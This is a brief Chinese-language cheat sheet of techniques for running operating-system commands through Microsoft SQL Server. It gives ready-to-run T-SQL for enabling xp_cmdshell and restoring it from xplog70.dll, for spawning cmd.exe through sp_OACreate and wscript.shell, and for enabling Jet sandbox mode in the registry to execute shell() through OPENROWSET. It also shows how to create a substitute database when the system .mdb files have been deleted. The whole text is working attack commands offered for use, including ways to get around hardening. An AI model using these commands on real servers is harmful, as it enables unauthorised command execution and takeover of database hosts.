通過SQLserver執行系統命令
方法一:xp_cmdshell
exec master..xp_cmdshell "whoami"默認執行是關閉
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
將1修改為0則為關閉
xp_cmdshell 被刪除可采用xplog70.dll恢復
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'
方法二:SP_OACREATE
xp_cmdshell 刪除以后,可以使用SP_OACreate。
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
執行[此方法無回顯]
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >d:\\temp\\1.txt'
方法三:通過沙盒執行命令
開啟沙盒
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
利用jet.oledb執行命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=ias\ias.mdb','select shell("CMD命令")')
但是,當 c:\Windows\System32\ias\dnary.mdb 或 c:\Windows\System32\ias\ias.mdb 被刪除時,命令就會無效了.
所以利用以下語句創建一個數據庫:(數據庫名SysSetup.xml,后綴.xml是自定義,不影響使用.)
declare @hr int
declare @object int;declare @property int
exec @hr = sp_OACreate 'ADOX.Catalog',@object OUTPUT
exec @hr = sp_OAMethod @object,'Create',@property output,'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=SysSetup.xml'
然后再利用jet.oledb調用SysSetup.xml執行系統命令:
select * from openrowset('microsoft.jet.oledb.4.0',';database=SysSetup.xml','select shell("CMD命令")')